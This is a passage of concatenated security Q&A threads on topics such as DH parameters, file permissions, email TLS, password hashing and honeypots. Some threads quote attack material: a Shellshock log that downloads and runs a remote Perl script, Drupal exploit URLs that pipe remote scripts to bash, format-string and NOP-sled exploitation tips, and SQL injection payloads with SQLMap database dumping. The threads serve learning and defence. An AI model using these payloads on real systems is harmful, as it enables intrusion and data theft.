6xLC7yqFs9sdCaXzuyMS4Ep5sPH6lOvftdsuGZZF9HriTepv/lpD1cPtab+3vHZX
IELVc2WBwVzvNRGd/SQB8RJ+NNF8IseCV/pb/tb67O1p7sn+JsD5xgNB7Lte/XjD
QBXv86aNuI2Z6zAuCiQsQ4rJuWcdnyAz0+zW9DRHz0osB1+IfHYcf4tNmvMKbC8E
u/vI+Q2WsMXkbTyhWibV2zH8cXdfsj5xpIgtbxm4G1ELGFgqyX9LD0IddXE7Md86
qwoKSTBNOyCIEZwwNfKDXY0b7zzObv7b3//J7gM323bAcm9g3uVaYBxF7ITd/jGm
AxpnF55mfhAOYemPZtNinnPAdvqf6BhZe29wfVC1yCIhg7ec9spRaFn2GgW0eL3d
q/+Ux8DJBtzKE10YyLa7bh1Dhml/xtA7rpqLL4+jg5c6lLEvSGmAZtm879NYS0za
33/2LN0/KB4z46Ro5hwqq3UIIe8oDsxdlNGb0mb9F0lKw5//J24PK/t11qMt8yuG
oKUE7TkDfwXlEBxd/ynW2/kLIjhG1JG55Vz8GWet8+ZGzfl/VQeUb9MCAQI=
-----END DH PARAMETERS-----

What exactly is the purpose of these DH Parameters?

These parameters define how OpenSSL performs the Diffie-Hellman (DH) key-exchange. As you stated correctly they include a field prime p and a generator g. The purpose of the availability to customize these parameter is to allow everyone to use his / her own parameters for this. This can be used to prevent being affected from the Logjam attack (which doesn't really apply to 4096 bit field primes).
So what do they define?
A Diffie-Hellman key exchange operates as follows (for TLS 1.2 and before1):
The server Bob uses these parameters to calculate B=g^b mod p. He sends (B,g,p) to the client Alice who computes A=g^a mod p on her own along with K=B^a mod p. She sends A to Bob and he computes K=A^b mod p. As A^b=g^(a*b)=g^(b*a)=B^a mod p holds both parties will agree on a shared key. The parameters p and g define the security of this key-exchange. A larger p will make finding the shared secret K a lot harder, defending against passive attackers.
And why do you have to pre-compute them?
Finding the prime p means finding a value for p for which p=2q+1 holds, with q being a prime. p is then called a safe prime.
Finding such primes is really computational intense and can't be afforded on each connection, so they're pre-computed.

Can they be public?

Yes, it's no risk publishing them. In fact they're sent out for every key-exchange that involves some Diffie-Hellman (DH) key exchange. There are even a few such parameters standardized for example in RFC 5114. The only possible problems with publishing may be that a powerful attacker may be interested in performing some computations on them, enabling him to perform the Logjam attack. However as your parameters use a 4096 bit field prime p this isn't a risk.
To explain why publishing them isn't a risk you may want to take a look at the above key-exchange description and note that the parameters are only used as a base for the computations but all the secrets (a,b) are completely independent of g,p.

1: For TLS 1.3, the client first guesses the parameters of the servers from a standardized set. Then it As for all of these parameters to the server who then either responds with a B of his own along with the choice of parameter set or responds with a list of parameters actually supported - which may include the custom generated ones this Q&A is all about.


Are default ACL in Linux a security flaw? I'm currently learning the Linux system and I have a question about the default Linux ACL.
On my virtual machine, all files created are set with the default permissions as follows:

-rw- rw- r--

According to this permission level, any other user on the system could see the newly created file knowing the path and the file name.
This could lead to a typical path traversal attack.
Taking advantage of this attack looks even more easy on multi-users systems.
For example, a server where all students use the same folders names for the same lessons, and the same file names. One could just go ahead and create a script checking files creations in this directory and get the content as soon as it is created.

Other point, some folders are common in each home directory, typically the "Documents" folder.
Even with a home directory set as follows:

-rwx --- ---

We can still access and read the content we guessed.
I'm aware that path traversal attacks are not new but my question is:

Why are the permissions not more restrictive?
What can we do to defend against this except by chmoding every new
file creation even before adding content to it? (if we are not the root user)

Thanks for the help

First, there is no "standard Linux ACL". Default file permissions can vary by system and by distribution; most distributions seem to have default permissions of 644 or 664, but that's not inherent to the Linux kernel, and the proper umask depends on the system.

More broadly: whether files are defaulted to world-readable is a security flaw or not strongly depends on what specific threats you are concerned about. If default permissions are world-readable, that means all users on the system can read files not specifically marked private. That's not necessarily a bug -- in a multiuser environment, you could plausibly declare that users will typically be sharing files, and provide a ~/private/ directory by default for files that they don't want to be shared; people can by default read anything directly under your home directory, but on the flipside sharing is easier. There's a tradeoff, which is often worth making.

Furthermore, the default permissions on files don't change on a per-folder basis. If users want to keep some things private and share other things, and don't want to chmod lots of things, you have to set permissive default permissions. You then make certain folders which will have private stuff have more restrictive permissions. You can't do the reverse; if you want to make it possible at all to have someone have a Public directory without learning chmod, you basically have to implement it this way. It's really easy to restrict access to a file beyond what's in its permissions; granting access beyond its permissions is not possible (you have to change the permissions).

That's because you're wrong when you say that a 0700 home directory doesn't secure anything. A folder's x bit controls access within the directory. If a user has no execute permission on /example/directory/, then they cannot access anything within /example/directory/. Even if they know that /example/directory/a is a file. Even if they have read permissions on that file. Even if they own that file: you can't access a file unless you not only have the permissions on that file, but also have execute permissions on all parent directories of that file. The implication is that you can secure a subdirectory much more easily than you can make an especially open one.

In your case, the Documents directory is 700; probably the other "user-friendly" directories (this is an awful term for it, but I mean things like Documents, Desktop, Downloads, Music, etc. -- stuff that's designed for the average user to use to hold their normal files) are as well. Provided you store your documents there and not in custom subdirectories of your home directory (or directly in your home directory), no one else has access. Your home directory is intended to contain mostly config files that are expected to be there; most personal files are meant to go in a default (secured) subdirectory. If you store things directly in a home directory, they're visible, but that's not what your OS is pushing you to do. If you create a new subdirectory of ~ and want it private, set its permissions to 700; if you want it public, set it to 755 (if you want people to be able to access files if and only if they know the name, 711). But the expectation is that your private stuff doesn't go straight in ~, and that the places your documents do go is already secured.


For an end-user, is HTML5/JavaScript more secure than Flash? I’m not talking about server-side security or even necessarily XSS vulnerabilities, as these are attacks on vulnerable services and do not use any pre-existing vulnerabilities on the client side to affect an end user. They will exist as long as web developers keep making vulnerable web applications.

I want to focus on the security of the end-user in these two different scenarios:

Flash installed and enabled, but JavaScript disabled
JavaScript enabled, Flash not installed or enabled

I am interested in the answers that I might get from posing a type of question that requires the comparison of two almost completely different (internally), yet competing technologies, in terms of end-user security.

In theory, if all servers and connections to them were perfectly secure (impossible) and trustworthy (not true), neither one would be more "secure" than the other - mainly because the developer(s) of the website are in full control of the content of the site. Since Flash and the JS is served to clients, the server would have to serve malicious content to the end user in order for the end user to be affected.

Sadly, we don't live in a perfect world and JS tends to be more secure in the case of a server compromise - it is far more limited in its ability to affect the client. Many Flash vulnerabilities have the ability to execute arbitrary code, which is far more damaging than  browser exploits, which often require multiple vulnerabilities to break out of the sandbox. This means that JS exploits often can only manipulate the client while the client is viewing that page and is usually unable to persist after it is closed, whereas Flash exploits can infect clients with RATs or other malware, which enables the attacker to have control over the client even after the browser is closed.

Another benefit of using JS is that the source is viewable by clients. Someone using the site may notice something suspicious in the source and notify the developers, allowing for the intrusion to be more easily detected. In the case of Flash, a malicious attacker can inject malicious code into an existing swf and since users cannot view the source without dissembling the swf, malicious code may go undetected for longer.

For an end-user, scenario 2:

  JavaScript enabled, Flash not installed or enabled

would be much safer for the reasons above and given Adobe Flash's history of exploits. A search in the NVD reveals a total of 610 vulnerabilities, 330 of which are between January 2014 and December 2015. Most JS-related exploits tend to be browser specific, which reduces the number of clients affected, while Flash is meant to be cross-platform, which increases the number of affected clients (less nowadays, considering that many people have Flash disabled).

TLDR: Keep Flash off and use JS instead.


I am "Shell Shocked" - remote script downloaded and executed - can I ban file downloads as security measure A few days ago, someone tried a series of requests on our nginx instance. All failed except one.

54.164.156.8 - - [**/Mar/2015:**********] "GET / HTTP/1.1" 200 393 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22wget http://202.191.121.230/ou.pl -O /tmp/b.pl;curl -O /tmp/b.pl http://202.191.121.230/ou.pl;perl /tmp/b.pl;rm -rf /tmp/b.pl*\x22);'"

This one got a HTTP 200 from nginx and indeed an executable b was created in /tmp/ (there were few other weirdly named and unexpected executables in there too.) Not only that. Shortly after, network traffic on our servers spiked and more than 500 gigs was metered.

All done. No fretting over spilled milk. We have reset that server.

We have (what we believe) reasonable practices as far as servers go: we update distro packs daily, keep eye on logs, have touched upon configs for iptables, ssh and the like. But nginx (bash?) was rude to us, it should not have allowed that.

Anyways in resetting the server, we have, this time, purged curl and wget. Is that of any help (attackers can use inherent libraries like urllib for python)?

Is it even possible to block download of arbitrary files, especially given that many attack vectors involve downloading remote scripts and executing locally? Will that be of any help?

What more can we do to protect ourselves, more so after the attacker already knows he pawned the IP address once, he is surely ought to come again.

Date and time in the log has been deliberately redacted

Removing curl and wget is merely a speed bump for your attackers. You've got a case of remote code execution, which means you're owned no matter what. /bin/cat /etc/passwd is a favourite for shell shockers -- and you can't remove cat!

What you need to do is update your bash package. You mentioned you've wiped the box and started over. That's an excellent first instinct. Now, you need to update and keep your box updated! The easiest way to do this is through your package manager, so do that before you put it online. Then, set up an auto-security update policy. Consult the documentation for your distro to do that.

You are correct in assuming that your attacker will want to come back to an already-compromised box. After you update bash, you'll be immune to shellshock, but there's still a lot of issues that webservers face. Have you looked into NAXSI? This is a Web Application Firewall (WAF) that can shield your nginx installation from common attacks in a rule-based fashion.


What is the meaning of 'Default to Zero' that must be keep in mind in Authorization? I learned that in authorization there are somethings to keep in mind, there are:
-Authorization Creep
this happens when an employee switch roles and the previous authorization isnt removed.
-Default to Zero
-Need to know Principle
to limit information to someone that not need to know of the information
-Access Control List
 is a list of permissions attached to an object. An ACL specifies which users or system processes are granted access to objects, as well as what operations are allowed on given objects.

I have tried to search what is Default to Zero means on this, but I cant find it.What does default to zero in this context means?

It appears to be "default to zero privileges, unless proven otherwise".

E.g. writing code like:

access_flags = NONE
if password_match:
    access_flags.add(ACCESS_USER)

Instead of:

access_flags = ACCESS_ADMIN + ACCESS_USER
if not password_match:
    access_flags.remove(ACCESS_USER)

Reason being that it's easier to make (and exploit) mistakes in latter code. In the above example, latter code would still leave ADMIN privileges if passwords don't match.


Username visibility on network People in the security world recommend changing the hostname of a computer to something that is not connected to the user. For example: "don't name it: MacbookPro Erica." This way IT staff and 'hackers' have no way to identify him or her. But what about the OS username/account name? Is there anyway a username can be linked to an IP/Device?

I'd say it does not matter. There's two kinds of attacks today:

Automated attacks.

These will of course not even bother about personal details; they look for extremely weak passwords or known security vulnerabilities.
Patching your OS and using secure passwords will probably protect you against automated attacks.

Targeted attacks.

These may care about who the user is. But if an attacker that is targeting you are able to see your device name, e.g. is on the local network, you've probably lost already.

I would focus on knowing what services are running on the computer, and disable unneeded services, and add a firewall to block incoming traffic. Patch the OS and applications, and keep good passwords.

Tracking a laptop to a person is a fairly easy thing to do if you have network access. Note when they come to work, and look for new devices within that time span. Three-four days should be enough to identify me.

The name will not normally be visible outside the LAN you're connected to.


Cybersecurity Career I am considering going into Cybersecurity. I was wondering what is important in a program for getting a bachelor's? The one I am looking at doesn't have any software development in it, which I thought knowing how to program was important to software security the same as knowing about securing systems is. What do you think?

Infosec consultant here. In theory the cybersecurity programs being offered at colleges will prepare you for a career in information security. In practice I've not found that to be true.

My recommended knowledge to have under your belt before starting in infosec:

Have a hardcore grounding in computer science. This means algorithms
and data structures, OS architecture and design, and even electrical
engineering of the underlying systems if possible.
Be able to program in one language really well. This well help you
acclimate to other languages, to perform code review and to write
tools needed for engagements.
Understand the core fundamentals of computer security. By this I
mean having a grasp on access control models, basic cryptography,
basic networking and security practices involved in web
applications. Also crucial is understanding how to break them.
Historical research in this area is very helpful as new technologies
tend to resurrect old vulnerability paradigms.

(Note that this is not an exhaustive list, leaving out things like the Security Development Lifecycle and Threat Modeling, but I feel those are intuitive things that can be learned on the job.)

With all this said, I would be very skeptical of a cybersecurity program which does not include programming. Many I am familiar with focus on the business side of computer security. If your interest is in making and breaking security mechanisms I would stay away from those. If no viable cybersecurity program is available to you, I would advise investigating a compsci degree and to experiment with writing your own code, participating in crackmes, utilizing vulnerable VMs to test exploitation and participating in bug bounties or CTFs. Honestly, while it is in many ways more work, you're much more likely to gain a heavy duty understanding of real world computer security this way.


Effectiveness of Interactive Application Security Testing There are a number of IAST tools available on the market such as Acunetix Web Vulnerability Scanner and HP WebInspect Real-Time.

How effective are these at finding vulnerabilities? Is there any evidence that these can find more or less than a black box application pen test (DAST) or by source code review (SAST)?

I found this paper but as it is appears to be branded by a IAST vendor I wondered if there were any independent comparisons.

I've also read this post with interest: What fraction of vulnerabilities does black-box pentesting find?

Each method (DAST vs SAST) has its strengths and weaknesses.

For example, DAST method is much better positioned at evaluating XSS type vulnerabilities because it is actually able to execute "on the client side" to validate if execution is indeed possible (rather than benign reflection).  SAST in this case for the most part is limited to proving that input made it (or has a possible path) from source to sink and can be reflected back in the output, but typically wouldn't be able to confirm that reflection can be executed to deliver XSS payload.  In this case DAST has some advantages over SAST.

OTOH, detecting vulnerabilities such as a password input being written clear-text into backend log file would prove just about impossible for DAST scanner, but a manageable job for SAST analysis.

So IAST (or sometimes referred to as hybrid) can take advantage of strengths of both methods and help manage/reduce inherent weaknesses of the other.  It can also help reduce false-positive detection rates by having one method confirm the other (e.g. in dynamic testing of SQLI having confirmation that attack indeed made it to DB); help speed up testing by narrowing attack surface (e.g. no need to test a page for SQLI if page doesn't do any SQL), actually discover attack surface that may be hidden (i.e. sub-application or pages that are not linked to and are not easily discoverable in the blind), etc.

Disclaimer: I used to work for and develop one of such scanners.


Is Chinese great firewall white or black list based? Is a new website blocked by default in China ?

I just put online a new website dedicated to chinese people (a working days calculator in China, nothing subversive indeed).
However a friend of a friend living in Beijing told me that my web site is not reachable from there !

Is by default a new website not authorized in China ?
Is the blocking system white list or black list based ?

I am aware that it exists online checkers but these tools use ping commands and my website hoster does not respond to ping anyway so these tool are not helping me.

My website is on a mutual hosting, could that be a possible reason for my site being blocked ? do I need a dedicated server ?

What could I do to make it authorized ?
How could I request to the chinese authorities a reconsideration of the website ?

The details are technically a secret, but there are a few things we know:

There are IP-based blacklist restrictions for popular sites like Facebook, and probably many other sites we don't hear about.
There are content filter-based restrictions placed globally. That is, if you mention a blacklisted word or phrase, you connection will be dropped, and reconnect attempts will fail for a short time (a second or two).

One thing worth noting about your site in particular is that approximately 400 other websites are using that same IP address.

http://whois.domaintools.com/94.23.151.19

If you're worried about being on a blacklist, I suggest getting a unique IP for the domain, so that you only have to worry about yourself being on the blacklist, rather than all of your neighbors as well.


Security of email sent/received on iPhone via Mail app In regards to the default Mail app on iOS 8, setup with various mail accounts gmail, outlook etc.

Are emails sent/received to/from the phone securely, if so, how?

Can someone who is snooping on the phones data traffic see any email data?

Thanks for any input.

Well, it depends. (Which is the usual answer to this sort of question!)

By default, Internet email is not at all secure; the underlying protocols like SMTP and IMAP are plain text and have no security.

However, sensible email providers will use an additional protocol, TLS, to encrypt the connection between your phone and their servers. Modern versions of Exchange use TLS by default; so does Gmail.

This secures the communications between you and the mail server. (There are some situations in which a bad guy can break TLS if they can intercept your network traffic and persuade you to accept a fake certificate. They're not common but a real threat and in particular your phone company can often do this fairly easily.)

More importantly, there is an aspect of email security that is usually forgotten; you can secure the sending part as much as you like, but you can't do anything about the receiving side. The person you are sending the mails to might not be using TLS; they might be very insecure.

In practical terms: email is secure enough for "regular use" if you have a reasonable email provider and are careful about not accepting bad certificates and avoiding dubious WiFi. However, if you have anything very sensitive to send, you should try and encrypt it separately before sending. (Which might be tricky on an IOS device.)

In a comment you ask if it makes any difference which client you use where you have an option, Apple Mail? Gmail or OWA apps? Web mail in the browser? These all use more or less the same methods to protect your mail from snoopers, so all are roughly equivelant in security from that perspective.

Google would say that using their Gmail app or the browser are slightly more secure, because only they support 2-factor, which is true. We always like 2-factor here - iF you don't have it enabled, go do it now!

However, because the second factor for gmail is "having your phone with you" it doesn't help much with the security when you are reading your mail on the same phone.


Does gmail still ignore DKIM if SPF passes, DMARC style? This blog post from 2016 shockingly implies that gmail will accept an email if either SPF or DKIM passes.  We use G suite SMTP servers, therefore SPF provides almost zero protection from spoofing. Is this still the case?
Since DMARC only needs one policy to succeed, would implementing DMARC with SPF+DKIM guarantee the security issue?

That article mentions a new "security warning" in which:

On the web or Android, if you receive a message that can’t be authenticated with either Sender Policy Framework (SPF) or DKIM, you’ll see a question mark in place of the sender’s profile photo, corporate logo, or avatar.

This has nothing to do with accepting a message for delivery. All it means is that, when neither DKIM nor SPF pass (presumably with alignment), the image used to represent the sender will be replaced by that gray stop-sign with a bold red question mark on it, as demonstrated in the screen shot.
This was an early attempt at something like BIMI (though in the other direction; this is an image to warn of potential spoofing rather than an image that is robust against spoofing) and I think it's a good protective step.
As of 2016, Google and many others block mail when DMARC invokes its reject policy, so this only affects senders that do not use DMARC p=reject (which can only trigger when neither SPF nor DKIM passes with alignment).
Back before DMARC, SPF was widely deployed and its use of -all and ~all had very low efficacy; blocking based on either would result in blocking vast volumes of legitimate mail. The SpamAssassin community even concluded that ~all (soft fail) was a stronger spam indicator than -all (hard fail)!
Without DMARC, senders don't see when their mail fails to properly verify with DKIM or SPF (barring RFC 6652, which I've never seen used). They therefore cannot determine if their failure condition (spf -all) works (and DKIM doesn't a failure condition) and neither has a suggested failure policy. DMARC provides the reporting mechanism to determine what issues may arise with a blocking policy and then lets senders issue such a policy.
If you want to require DKIM, I suggest an SPF record of v=spf1 ?all so that SPF can never pass (nor can it ever fail). Then your DMARC p=reject can deny any mail purportedly from your domain unless it passes DKIM. At that point, SPF isn't necessary (DKIM is really hard to replay and basically impossible to forge).


Encrypting password string in C++ I have a client server based application where user is presented with login screen in the client. It then passes the credentials to the server which does the authentication. Client-server communication happens via a web service hosted on the server using https protocol (with TLS1.2 support). Client passes username and password to the web service. I am thinking of encrypting the password evethough I am using https based communication. My questions are:

Is it worthwhile to do a second level of encryption for password?
Is there any good practices to follow (like which algorithm to use etc)?
Its a MFC based application written in C++. Does windows provide any methods to do this?

No, you shouldn't encrypt the password on the client if the transmission of data is secured.

If you got it all perfect, you're not likely to add any security to the process.

If you don't get it perfect, you might be introducing a new vulnerability (buffer overflow, oracle attack, etc).

If the TLS version you're using somehow gets compromised, then you have MUCH bigger problem that leaking password in transit.

You shouldn't hash the password either (for the same reasons as above).

Note that there is a special case: you might want you login process to go through a challenge-response system, even if you're using TLS, in order to require a proof of work from the caller. For some specialized services, that might help in alleviate DOS attacks trying to overload the authentication component (although there is a debate whether the effectiveness of that measure in the field and whether it's worth the effort compared to other DOS counter-measures).


Shellcode as part of format string buffer I'm currently trying out a simple format string vuln exploit. The target program looks like this:

int main(int argc, char *argv[])
{
    char buffer[1024];

    strncpy(buffer, argv[1], sizeof(buffer));

    printf(buffer);
}

My goal is to use the format string to overwrite the return address and make it point to a shellcode which is placed on the buffer itself. There's no DEP nor ASLR, and I can run the binary as many times as I need.

However, I'm having an issue with the placement of the shellcode itself. If the buffer has the shellcode placed before the %Nu%n sequence, I won't know how many characters have been printed before I get to the first %n, since the shellcode will contain non-printable characters. If it's placed after it, I won't know the address of the shellcode itself, since the amount of digits for each N may vary. It's kind of a Catch-22.

How can I solve this without placing the shellcode somewhere other than the buffer itself?

It sounds like you understand basically what you're trying to do, so this is more a programming puzzle than a security one, at this point.

  If the buffer has the shellcode placed before the %Nu%n sequence, I won't know how many characters have been printed before I get to the first %n, since the shellcode will contain non-printable characters.

Getting the length of characters printed by just treating the shellcode itself as a format string is trivial: all the *printf functions return the number of characters printed, so just running int c = printf(<SHELLCODE>);printf("\n%d\n", c); will tell you how many characters are printed in the course of treating the shellcode as a format string. However, putting the shellcode before the format specifiers like this imposes a limit on the minimum value you could put with %n specifiers after the shellcode.

  If it's placed after it, I won't know the address of the shellcode itself, since the amount of digits for each N may vary.

Easily solved by padding the string (with spaces, or zeroes, or whatever you want except format specifiers) between the format specifiers and the shellcode, and deleting a padding character every time a format specifier gets one character longer. In practice, since the number of digits in N will only change when you the value of N crosses a power of 10, you can also achieve this by just making minor tweaks.

If you want to make this really easy, pad the input string between your format specifiers and your shellcode with single-byte no-ops (the canonical one for x86 is 0x90), and then you only have to land somewhere between the end of the format specifiers (exclusive) and the start of the shellcode (inclusive), rather than on the start of the shellcode exactly. This technique is called a "NOP sled" because when the instruction pointer winds up anywhere in it, it just "slides" all the way into your shellcode.


Corporate computers have own corporation's cert as trusted CA; should I consider all traffic compromised? By my admittedly limited understanding of how HTTPS/TLS works, the end user (me) initiates a connection with a remote server which signs every one of its messages with a public key. This public key can be verified (magically) by checking the certificate, which is signed by a CA that vouches for the integrity of that certificate.

The upshot of this is that if I trust a CA, that CA can sign any certificate and say it is valid and my machine will be just fine with it; if a rogue CA is added to the trusted registry of my computer, then anyone who knows that rogue CA will be able to get their cert signed and pose as - potentially - any website and perform a man in the middle attack.

My corporation has just added their own cert as a root CA to all computers in the network. Should I therefore assume that all traffic I send is compromised?

Yup.
Yes. (If you consider "My company's admins can change my HTTP(s) traffic" compromise.) Except for some programs that pin their certificate use and fail if another certificate is used.
That's pretty much the idea of SSL inspection: Open up SSL/TLS, do some anti-virus-scanning, close up SSL/TLS again.
And in place of that "do some anti-virus-scanning" you can substitute any manipulation of the traffic, you want.
But on the other hand: whoever can install a root CA on your system has superuser power already. So there's a million other ways that they can interfere/listen in.


How password hashing is useful in MITM attack? Even though I read a lot about hashing and how passwords are protected, I am still confused about it.

If passwords are hashed at client side, it will be useless because it can be sniffed and used by attacker, can't it?
If passwords are hashed at server side, it will be transfered in plaintext, it can be sniffed and used by attacker, can't it?

So by my reasoning all hashing is useless. Can somebody explain how this works?

Password hashing is used to protect users in the case of a database being compromised. Transmission of the password to the server is a completely different security scenario.

Both of your assertions about traffic sniffing at the start of your question are correct. Transmitting the password in plaintext allows an attacker to sniff the password. Computing the hash on the client side essentially makes the hash the password, so an attacker can just sniff the hash and use that instead.

To answer your questions at the end:

HTTPS uses SSL (or TLS) to provide endpoint-to-endpoint security. This essentially means that an attacker can't sniff out the data, since it's encrypted. He also can't inject data, since authenticity is provided too. When SSL is used, the server has a certificate that contains its public key. The certificate is signed by a CA that your browser trusts, so you can verify that it is correct. Your browser generates a session key and encrypts it using the server's public key. Only the server can decrypt it, because the only the server knows the private key. Once both the server and client know the session key, they can communicate securely.
An ISP or proxy might use a man-in-the-middle attack to present you with a false certificate. If you accept that certificate, they can decrypt the conversation and inject their own data. However, you will be alerted by your browser that the certificate is invalid. Some governments get real certificates issued to them for this purpose - so you won't notice unless you inspect the certificate.
If the attacker knows your WPA2 password, they can connect to the network. This allows them to sniff traffic.

In your situation, send the password over HTTPS, then hash it on the server side with a strong key derivation algorithm such as PBKDF2 or bcrypt.


If an OS is protected by full disk encryption (FDE), can recovery software recover deleted files from disk after unlocking FDE? It seems that full disk encryption entails that files can only be written to disk in an encrypted way.

If a file has been deleted on a system with full disk encryption, can it be recovered if the disk has been unlocked?
Same question but for information that has been written to swap space instead of being deleted?
Same question but for information that has been written to RAM instead of disk?

Yes and no. Yes, you can recover a deleted file, depending on how you deleted it. Disk encryption does not affect your ability to recover deleted files any more than an unencrypted disk because encryption happens at the driver level (usually) as the data is being written to disk. So, if you delete a file in Windows, and the OS marks that file for deletion, you can still recover. If you are using an OS that wipes the file with zeroes (several *NIX OS's) then no. But it doesn't have much (if anything) to do with FDE. Where you might run into issues more so than an unencrypted disk is how your encryption method deals with reboots and setting up the crypto after reboots. It could cause disk writes and re-writes that might lessen your chances of recovery.
Swap space is treated the same way. Full disk encryption is encryption. Period. Swap space is no different. The data is (should be) encrypted at rest, and only decrypted on the fly as it is read from disk.
RAM is not encrypted. Address space for important system operations is randomized, but not encrypted. Portions of the ram may be encrypted, but the whole is not (or at least... I have never heard of this). RAM being volitile is largely protection enough. No power? no data. It's a different problem than persistent (disk) storage that can be unplugged, taken elsewhere, and have the data taken off of it. Additionally, most operating systems have preventative measures that stop you (or a rouge application) from copying out more memory than belongs to you. Linux, for example, won't let dd blindly copy the contents of your RAM to disk. It stops it at 1MB. (dd if=/dev/mem of=/mnt/ramdump.bin)


Honeypot on home network to help me learn I'm a pretty decent (IMO) web app penetration tester, but I'm eager to expand my knowledge of other areas of security.  Given that I've just taken on something of an enhanced sysadmin role at my work, I figured it would be a pretty good opportunity to try to learn more about network and operating system security.

In general, I'd say that I have a decent understanding of broad security concepts, but networking is a major, major blind-spot for me.

Now, the question: I was thinking that it might be a good idea ("good idea") to leave a vulnerable machine exposed on my home network, with the full intention of having it breached.  My plan is to install the various auditing tools (tripwire, logwatch, samhain, etc) to give me real-world experience performing post-mortems on compromised systems, because I've got very little experience there.

I'm obviously hesitant to do that, though, because I'm not 100% confident that I can confine the will-be attackers to the honeypot machine only.  So - how can I do that?

To the best of my understanding (which is again, quite poor, when it comes to networking) this will involve placing my honeypot system in the DMZ on my network.  I've never done this before.

I was thinking, initially, that I could enforce the DMZ in two ways:

statically map the IP at the router, designating the DMZ machine
likewise, block out the MAC address from the rest of the LAN

When I thought about it some more, though, I began to doubt that plan.  Could not a rogue user with root access 1) change his static IP and 2) flash the MAC?  Would that get him out of the DMZ and onto my home network?

The above may be a bunch of nonsense.  Again, this is a blind-spot for me.  Please forgive me if I've wasted your time with a very dumb question :)

Thanks, everyone.

Especially given your lack of network experience, that sounds like a substantial risk to your home network to me :)   Alternatively you could deploy it in the cloud for not much money and watch it there.

See DMZ (Wikipedia) for background and other answers here for tips on designing DMZs.  Unless you have a real firewall node providing network separation between your DMZ network and your home network, it isn't really a DMZ.


SQL injecting a search form which uses boolean mode I'm testing a web app and I could get Mysql errors by inserting ' in the search field:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' in boolean mode)' at line 1

However, when I do the usual test, entering " ' and 1=1-- " to the search field, I get this:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'and 1=1--' in boolean mode)' at line 1

But this should have worked. I noticed that it appends " ' in boolean mode) " to every error it gives to me. My question is, what the problem is here and how I can get my statements performed, without getting this error?

I find that ' or 1=1-- is useful in less than 1% of sql injection that I come across,  this payload is commonly seen in SQL Injection examples because it is a very simple statement.  The problem that you are most likely experiencing is that your comment is incorrect. The -- needs to follow by a single space or it is not actually a comment, so ' or 1=1-- 1 is a comment that is compatible with many database types and it can survive a white-space trim.  There are plenty of other mysql comments to choose from.

A better SQL Injection test for a MySQL database would be: ' or sleep(10)/*.  If the page takes 10 second or more to load then its vulnerable, then follow up with ' or sleep(0)/* and it returns very quickly then you know it can be exploited with blind sql injection.

At this point I'm going to take that HTTP request and use SQLMap in wizard mode to exploit the vulnerability and dump the entire database.  SQLMap can also perform file-io under MySQL using load_file() and into outfile.  The interactive SQL shell mode is also very useful.  If you want to debug a SQL payload without using it on your target I suggest sqlfiddle.


analyzing hacked website log : is there any link between ./etc and ./tmp when uploading files? One of my friends got hacked and asked me for help. This guy had a single shared host and uploaded like 20 websites on it and one of them got hacked and now all of them are full of shells.

I asked for a list of files that have been created or changed on the server and I got the list something like below.

The shell name is accesson.php  it first appears in

./etc/assets/images/accesson.php

and then in

./tmp/assets/images/accesson.php

log :

./etc
./etc/newsss.com
./etc/shsh.com
./etc/nck.com
./etc/pvf.com
./etc/pvf.com/@pwcache/info
./etc/lck.com
./etc/assets
./etc/assets/images
./etc/assets/images/accesson.php
./tmp
./tmp/assets
./tmp/assets/images
./tmp/assets/images/accesson.php
./mail
./mail/new
./mail/tmp
./mail/assets
./mail/assets/images
./mail/assets/images/accesson.php

./public_html
./public_html/images/2017/01/162210999.jpg.CROP_.cq5dam_web_1280_1280_jpeg-280x200.jpg
./public_html/wp-content/plugins
./public_html/.ftpquota
./public_html/backlinks/error_log
./public_html/app/images
./public_html/app/images/css_sprites.png
./public_html/app/index.php
./public_html/assets
./public_html/assets/images
./public_html/assets/images/accesson.php
./public_ftp
./public_ftp/assets
./public_ftp/assets/images
./public_ftp/assets/images/accesson.php

 ./irso.com
./irso.com/.ftpquota
./irso.com/wp-content/plugins
./irso.com/wp-content/themes
./irso.com/assets
./irso.com/assets/images
./irso.com/assets/images/accesson.php

./ncl2.com
./ncl2.com/assets
./ncl2.com/assets/images
./ncl2.com/assets/images/accesson.php
./cache
./cache/assets
./cache/assets/images
./cache/assets/images/accesson.php
./ssl
./ssl/assets
./ssl/assets/images
./ssl/assets/images/accesson.php

./efr.com
./efr.com/.ftpquota
./efr.com/assets
./efr.com/assets/images
./efr.com/assets/images/accesson.php

It seems accesson.php has been spread through all directories.  The interesting thing is it has been created with its directory  /assets/images/  even in the /tmp.

I thought since it first appeasers in ./tmp it must be uploaded through some bug since all uploaded files first go to ./tmp, but what about that ./etc? It is even before ./tmp Is there a link between the two?

I would appreciate any suggestions.

(Deleted my answer on SO since that will likely be closed)

etc is a suggestive directory to attack because it should be owned by root and unwritable to anybody else.

$ ls -alZ / | grep tmp
drwxr-xr-x. root root system_u:object_r:etc_t:s0       etc

You know that, but I'm just saying that it is suggestive because I don't see any reason why it should be writable. It's probably that the script is just thrashing and trying to write everywhere on the filesystem, maybe the compromised program just happens to have write permissions at /etc/, probably so it can alter its own config file...or misconfiguration on /etc/.

My little script here is clumsy and only creates the directory but shows what I mean about thrashing:

find / -maxdepth 2 -type d -exec mkdir -p '{}'\/assets\/images \;

tmp is a good initial target for malware because everyone has write permission there and those files can be executed, albeit with limited permissions.

$ ls -alZ / | grep tmp
drwxrwxrwt. root root system_u:object_r:tmp_t:s0       tmp

The breach looks like an attempt at escalation because if there was root access there would be no reason to write to tmp, or thrash, and the logs could be cleaned up. A good start is to enable selinux so that files that are not in specific locations for executables cannot be executed. Selinux would have prevented a lot of the thrashing too.

I don't know about efr, irso, nc12 but write permissions to ssl is definitely bad and do to misconfiguration. I'm guessing the entry happened through a clumsy php script based on the extra changes to public_html (index.php), that's just a guess.


Should I be worried about these Drupal 7 username attack attempts? In my logs I see regular attempts, a few times a day like these ones:

http://www.example.com/user/password?name[%23post_render][0]=exec&name[%23markup]=wget+https%3a%2f%2fpastebin.com%2fraw%2fPeBdUg98+--no-check-certificate+-O+wer.PHP
http://www.example.com/user/password/?name[%23post_render][]=system&name[%23markup]=wget+-O-+http://repo-linux.com/apply_patch.sh%7Cbash&name[%23type]=markup

